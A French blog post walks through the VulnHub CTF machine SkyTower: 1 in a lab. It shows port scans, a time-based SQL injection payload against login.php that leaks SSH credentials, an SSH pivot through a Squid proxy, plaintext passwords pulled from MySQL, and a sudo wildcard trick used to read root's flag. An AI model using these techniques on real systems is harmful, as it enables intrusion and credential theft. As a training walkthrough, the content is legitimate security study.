SkyTower: 1

Depuis la dernière fois, j’ai résolu quelques CTF ; j’ai trouvé celui-ci assez sympathique car il sort un peu des sentiers battus.

La machine

SkyTower: 1 est une VM de 2014 conçu par Telspace Systems pour un CTF à l’ITWeb Security Summit au Cap. On peut la télécharger sur VulnHub, c’est un petit fichier de moins de 300 méga-octets. On nous avertit dès la description que « les outils automatisés ne vont pas nous être d’une grande aide ». En effet.

Comme d’habitude, j’importe la VM dans VirtualBox, je la démarre et je passe sous Kali.

Recueil d’informations

Procédure habituelle : je trouve l’IP de la VM et je scanne ses ports.

J’utilise maintenant un NAT dédié (10.128.0.0/24) pour les CTF. Non seulement ça me permet de scanner (un peu) plus vite, mais en plus je n’ai pas à trier parmi mes autres équipements. En bonus : je ne risque pas d’exposer mes machines à une VM potentiellement malveillante.

Dans VirtualBox, il faut aller dans les options générales – pas celles de la VM – onglet Réseau et en créer un avec la plage d’IP et le masque désirés. Il suffit ensuite de configurer sa VM cible – ainsi que sa VM d’attaque – pour utiliser ledit réseau.

root@kali:~/VulnHub/SkyTower# nmap -sn 10.128.0.0/24
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-26 12:15 CEST
Nmap scan report for 10.128.0.1
Host is up (0.000062s latency).
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)
Nmap scan report for 10.128.0.2
Host is up (0.000040s latency).
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)
Nmap scan report for 10.128.0.3
Host is up (0.000082s latency).
MAC Address: 08:00:27:9C:F4:1F (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.128.0.10
Host is up (0.00011s latency).
MAC Address: 08:00:27:54:4A:37 (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.128.0.4
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.02 seconds
root@kali:~/VulnHub/SkyTower# export RHOSTS=10.128.0.10
root@kali:~/VulnHub/SkyTower# nmap -sV -p- $RHOSTS | tee open-ports.txt
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-26 12:15 CEST
Nmap scan report for 10.128.0.10
Host is up (0.000040s latency).
Not shown: 65532 closed ports
PORT     STATE    SERVICE    VERSION
22/tcp   filtered ssh
80/tcp   open     http       Apache httpd 2.2.22 ((Debian))
3128/tcp open     http-proxy Squid http proxy 3.1.20
MAC Address: 08:00:27:54:4A:37 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.06 seconds
root@kali:~/VulnHub/SkyTower#

Deux ports ouverts ici : 80 avec un serveur Apache et 3128 avec un proxy Squid.

Je passe sur DirBuster et Nikto sans trop y croire.

root@kali:~/VulnHub/SkyTower# dirb http://$RHOSTS
. . .
---- Scanning URL: http://10.128.0.10/ ----
+ http://10.128.0.10/background (CODE:200|SIZE:2572609)
+ http://10.128.0.10/cgi-bin/ (CODE:403|SIZE:287)
+ http://10.128.0.10/index (CODE:200|SIZE:1136)
+ http://10.128.0.10/index.html (CODE:200|SIZE:1136)
+ http://10.128.0.10/server-status (CODE:403|SIZE:292)
. . .
root@kali:~/VulnHub/SkyTower# nikto -host http://$RHOSTS
. . .
+ Server: Apache/2.2.22 (Debian)
+ Server may leak inodes via ETags, header found with file /, inode: 87, size: 1136, mtime: Fri Jun 20 13:23:36 2014
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html
+ Retrieved x-powered-by header: PHP/5.4.4-14+deb7u9
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3233: /icons/README: Apache default file found.
+ /login.php: Admin login page/section found.
. . .
root@kali:~/VulnHub/SkyTower#

Quelques points intéressants tout de même : Nikto m’informe que le module mod_negociation est activé. Après recherche, je comprends qu’il s’agit d’un module qui s’adapte à l’en-tête HTTP Accept pour servir un contenu s’il manque une extension. En gros, si j’utilise Accept: text/html sur la page /index et qu’il existe un fichier index.html, Apache va me renvoyer ce dernier.

On peut voir ce principe en action avec http://10.128.0.10/background qui est en fait un fichier JPEG trouvable à l’adresse http://10.128.0.10/background.jpg.

Je lance Firefox et visite le site. Très old-school, on a juste une page HTML basique avec un formulaire de connexion qui pointe vers /login.php et une image de fond.

Je télécharge l’image et cherche des indices dans les données EXIF.

root@kali:~/VulnHub/SkyTower# curl -sO http://10.128.0.10/background.jpg
root@kali:~/VulnHub/SkyTower# exif background.jpg
EXIF tags in 'background.jpg' ('Motorola' byte order):
--------------------+----------------------------------------------------------
Tag                 |Value
--------------------+----------------------------------------------------------
Manufacturer        |Canon
Model               |Canon EOS 40D
Orientation         |Top-left
X-Resolution        |350
Y-Resolution        |350
Resolution Unit     |Inch
Software            |Adobe Photoshop 7.0
Date and Time       |2008:09:16 22:38:01
Compression         |JPEG compression
X-Resolution        |72
Y-Resolution        |72
Resolution Unit     |Inch
Exposure Time       |1/6400 sec.
F-Number            |f/8.0
Exposure Program    |Aperture priority
ISO Speed Ratings   |400
Exif Version        |Exif Version 2.21
Date and Time (Origi|2008:08:01 16:16:19
Date and Time (Digit|2008:08:01 16:16:19
Shutter Speed       |12.62 EV (1/6316 sec.)
Aperture            |6.00 EV (f/8.0)
Exposure Bias       |0.00 EV
Flash               |Flash did not fire, compulsory flash mode
Focal Length        |17.0 mm
User Comment        |
Sub-second Time     |71
Sub-second Time (Ori|71
Sub-second Time (Dig|71
FlashPixVersion     |FlashPix Version 1.0
Color Space         |Internal error (unknown value 65535)
Pixel X Dimension   |1800
Pixel Y Dimension   |3011
Focal Plane X-Resolu|4438.356
Focal Plane Y-Resolu|4445.969
Focal Plane Resoluti|Inch
Custom Rendered     |Normal process
Exposure Mode       |Auto exposure
White Balance       |Manual white balance
Scene Capture Type  |Standard
GPS Tag Version     |2.2.0.0
--------------------+----------------------------------------------------------
EXIF data contains a thumbnail (10280 bytes).
root@kali:~/VulnHub/SkyTower#

Pas d’information utile ici. Je tente d’utiliser steghide qui sert à chiffrer et déchiffrer des informations dans un JPEG. J’essaye avec un mot de passe vide parce que je n’ai rien de mieux à l’heure actuelle.

root@kali:~/VulnHub/SkyTower# steghide extract -sf background.jpg
Enter passphrase:
steghide: could not extract any data with that passphrase!
root@kali:~/VulnHub/SkyTower#

Sans surprise, mais je m’en serais voulu de ne pas avoir essayé. Peut-être des injections SQL dans le formulaire de connexion ?

root@kali:~/VulnHub/SkyTower# sqlmap -u http://$RHOSTS/login.php --data 'email=abc@example.com&password=xxx'
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.3.4#stable}
|_ -| . ["]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
. . .
[12:35:41] [INFO] heuristic (basic) test shows that POST parameter 'email' might be injectable (possible DBMS: 'MySQL')
[12:35:41] [INFO] heuristic (XSS) test shows that POST parameter 'email' might be vulnerable to cross-site scripting (XSS) attacks
[12:35:41] [INFO] testing for SQL injection on POST parameter 'email'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
[12:35:51] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[12:35:51] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[12:35:51] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[12:35:51] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[12:35:52] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)'
. . .
[12:35:58] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (comment)'
[12:36:28] [INFO] POST parameter 'email' appears to be 'MySQL >= 5.0.12 RLIKE time-based blind (comment)' injectable
. . .

J’ai une injection potentielle. Je relance sqlmap avec un niveau de verbosité à 3 – -vvv – pour connaître la donnée envoyée.

root@kali:~/VulnHub/SkyTower# sqlmap -vvv -u http://$RHOSTS/login.php --data 'email=abc@example.com&password=xxx'
. . .
[12:43:31] [PAYLOAD] abc@example.com' RLIKE SLEEP(5)#
[12:43:31] [TRAFFIC OUT] HTTP request [#2306]:
POST /login.php HTTP/1.1
Host: 10.128.0.10
Accept-encoding: gzip,deflate
Cache-control: no-cache
Content-type: application/x-www-form-urlencoded; charset=utf-8
Accept: */*
User-agent: sqlmap/1.3.4#stable (http://sqlmap.org)
Content-length: 65
Connection: close

email=abc%40example.com%27%20RLIKE%20SLEEP%285%29%23&password=xxx
. . .

Le but de cette injection est de lancer un SLEEP(5) sur le serveur SQL et de constater – si la requête met bien environ 5 secondes à s’exécuter – que l’injection est possible. C’est donc une time-based attack.

Injection SQL

À partir de là je me prépare une petite fonction Bash pour simplifier les attaques suivantes, et je la teste avec ' RLIKE SLEEP(1)#.

root@kali:~/VulnHub/SkyTower# sqli() {
> curl -s -XPOST "http://$RHOSTS/login.php" --data "email=$1&password=$2"
> }
root@kali:~/VulnHub/SkyTower# sqli "' RLIKE SLEEP(1)#"
. . .
Welcome john@skytech.com
. . .
For security reasons, you must login to the SkyTech server via SSH
. . .
Username: john
Password: hereisjohn
. . .
root@kali:~/VulnHub/SkyTower#

La fonction n’aura pas servi à grand chose au final, j’ai tout de suite un résultat tangible. La réponse inclut des identifiants SSH.

  • utilisateur : john
  • mot de passe : hereisjohn

Exploitation des données sensibles

Je me connecte en SSH sur la machine avec les identifiants trouvés…

root@kali:~/VulnHub/SkyTower# ssh john@$RHOSTS
. . .

… mais rien ne se passe. En effet, le port 22 était indiqué comme filtered dans le rapport nmap ci-dessus – c’est à dire bloqué par un pare-feu.

Dans le même rapport, j’avais aussi d’indiqué un proxy Squid sur le port 3128. Je lance Metasploit pour trouver des idées.

root@kali:~/VulnHub/SkyTower# msfconsole -q
msf5 > search squid

Matching Modules
================

Name                                         Check  Description
----                                         -----  -----------
auxiliary/scanner/http/squid_pivot_scanning  Yes    Squid Proxy Port Scanner
exploit/linux/proxy/squid_ntlm_authenticate  No     Squid NTLM Authenticate Overflow


msf5 >

Je peux utiliser auxiliary/scanner/http/squid_pivot_scanning pour scanner les ports d’une machine depuis le proxy Squid. Je vais vérifier si ce dernier a accès au port 22.

msf5 > use auxiliary/scanner/http/squid_pivot_scanning
msf5 auxiliary(scanner/http/squid_pivot_scanning) > show options

Module options (auxiliary/scanner/http/squid_pivot_scanning):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   CANARY_IP     1.2.3.4          yes       The IP to check if the proxy always answers
                                            positively; the IP should not respond.
   MANUAL_CHECK  true             yes       Stop the scan if server seems to answer
                                            positively to every request
   PORTS         21,80,139,. . .  yes       Ports to scan; must be TCP
   Proxies                        no        A proxy chain of format
                                            type:host:port[,type:host:port][...]
   RANGE                          yes       IPs to scan through Squid proxy
   RHOSTS                         yes       The target address range or CIDR identifier
   RPORT         80               yes       The target port (TCP)
   SSL           false            no        Negotiate SSL/TLS for outgoing connections
   THREADS       1                yes       The number of concurrent threads
   VHOST                          no        HTTP server virtual host

msf5 auxiliary(scanner/http/squid_pivot_scanning) > set PORTS 22
PORTS => 22
msf5 auxiliary(scanner/http/squid_pivot_scanning) > set RANGE 10.128.0.10
RANGE => 10.128.0.10
msf5 auxiliary(scanner/http/squid_pivot_scanning) > set RHOSTS 10.128.0.10
RHOSTS => 10.128.0.10
msf5 auxiliary(scanner/http/squid_pivot_scanning) > set RPORT 3128
RPORT => 3128
msf5 auxiliary(scanner/http/squid_pivot_scanning) > run

[+] [10.128.0.10] 10.128.0.10:22 seems OPEN
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/http/squid_pivot_scanning) >

Je peux accéder à SSH en passant par le proxy Squid.

Intrusion dans le système

Après quelques recherches j’ai trouvé un programme, corkscrew, qui me permet de faire passer SSH par un proxy HTTP.

root@kali:~/VulnHub/SkyTower# apt install corkscrew
. . .
root@kali:~/VulnHub/SkyTower# export SSH_PROXY="ProxyCommand=corkscrew $RHOSTS 3128 %h %p"
root@kali:~/VulnHub/SkyTower# ssh -o "$SSH_PROXY" john@$RHOSTS
john@10.128.0.10's password:
. . .
Funds have been withdrawn
root@kali:~/VulnHub/SkyTower#

La connexion est instantanément rejetée. Soit je n’ai accès qu’à un shell restreint, soit un des fichiers préchargés par le shell force une clotûre de la connexion. Je passe cette fois /bin/bash en commande SSH et peux taper des commandes – ici id.

root@kali:~/VulnHub/SkyTower# ssh -o "$SSH_PROXY" john@$RHOSTS /bin/bash
john@10.128.0.10's password:
id
uid=1000(john) gid=1000(john) groups=1000(john)
. . .

Je regarde le contenu du fichier .bashrc.

cat .bashrc
. . .
echo
echo  "Funds have been withdrawn"
exit

J’enlève ce exit avec sed, ferme la connexion et la rouvre immédiatement.

sed -i /exit/d .bashrc
exit
root@kali:~/VulnHub/SkyTower# ssh -o "$SSH_PROXY" john@10.128.0.10 /bin/bash
john@10.128.0.10's password:

root@kali:~/VulnHub/SkyTower# ssh -o "$SSH_PROXY" john@10.128.0.10
john@10.128.0.10's password:
. . .
Funds have been withdrawn
john@SkyTower:~$

J’ai un vrai shell !

En pratique, j’aurais pu continuer sans ça, mais cette petite modification m’apporte de gros avantages, notament l’autocomplétion et un accès simplifié à l’historique de commandes avec les flèches directionnelles.

Recherche de vulnérabilités

Je cherche des binaires avec un bit SUID.

john@SkyTower:~$ find / -type f -perm /u=s 2>/dev/null
/usr/bin/sudoedit
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/sudo
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/pt_chown
/bin/su
/bin/ping
/bin/ping6
/bin/umount
/bin/mount

Rien de particulier. Un accès sudo ?

john@SkyTower:~$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for john:
Sorry, user john may not run sudo on SkyTower.

Hélas !

Les mots de passe semblent en clair dans la base de données puisqu’ils m’ont été donnés lors de la connexion tout à l’heure. D’autres utilisateurs auront peut-être un accès sudo.

Je cherche – pas très longtemps – les identifiants de connexion à la base de données.

john@SkyTower:~$ cat /var/www/login.php
<?php

$db = new mysqli('localhost', 'root', 'root', 'SkyTech');
. . .

Je me connecte à MySQL et fouille un peu.

john@SkyTower:~$ mysql -uroot -proot -s
mysql> show databases;
Database
information_schema
SkyTech
mysql
performance_schema
mysql> use SkyTech
mysql> show tables;
Tables_in_SkyTech
login
mysql> select * from login;
id    email    password
1    john@skytech.com    hereisjohn
2    sara@skytech.com    ihatethisjob
3    william@skytech.com    senseable
mysql>

Jackpot !

Élévation des privilèges

Je me connecte en SSH avec les identifiants de Sara.

root@kali:~/VulnHub/SkyTower# ssh -o "$SSH_PROXY" sara@10.128.0.10
sara@10.128.0.10's password:
. . .
Funds have been withdrawn
root@kali:~/VulnHub/SkyTower#

Soupir.

root@kali:~/VulnHub/SkyTower# ssh -o "$SSH_PROXY" sara@10.128.0.10 sed -i /exit/d .bashrc
sara@10.128.0.10's password:
root@kali:~/VulnHub/SkyTower# ssh -o "$SSH_PROXY" sara@10.128.0.10
sara@10.128.0.10's password:
. . .
Funds have been withdrawn
sara@SkyTower:~$

Sara est-elle plus privilégiée que John ?

sara@SkyTower:~$ sudo -l
Matching Defaults entries for sara on this host:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User sara may run the following commands on this host:
    (root) NOPASSWD: /bin/cat /accounts/*, (root) /bin/ls /accounts/*
sara@SkyTower:~$

Petit truc à savoir avec sudo : un wildcard dans un argument de commande, contrairement à ce que l’on pourrait penser, peut correspondre à un espace.

root@kali:~/VulnHub/SkyTower# man sudoers
. . .
Wildcards
  sudo allows shell-style wildcards (aka meta or glob characters) to be used in
  host names, path names and command line arguments in the sudoers file.
  Wildcard matching is done via the glob(3) and fnmatch(3) functions as
  specified by IEEE Std 1003.1 (“POSIX.1”).

  *         Matches any set of zero or more characters (including white space).
. . .

Je peux donc lancer les commandes /bin/cat et /bin/ls en tant que root, à condition de les commencer par /accounts/.

Exploitation

sara@SkyTower:~$ sudo /bin/ls /accounts/ /root
/accounts/:

/root:
flag.txt
sara@SkyTower:~$ sudo /bin/cat /accounts/ /root/flag.txt
/bin/cat: /accounts/: Is a directory
Congratz, have a cold one to celebrate!
root password is theskytower
sara@SkyTower:~$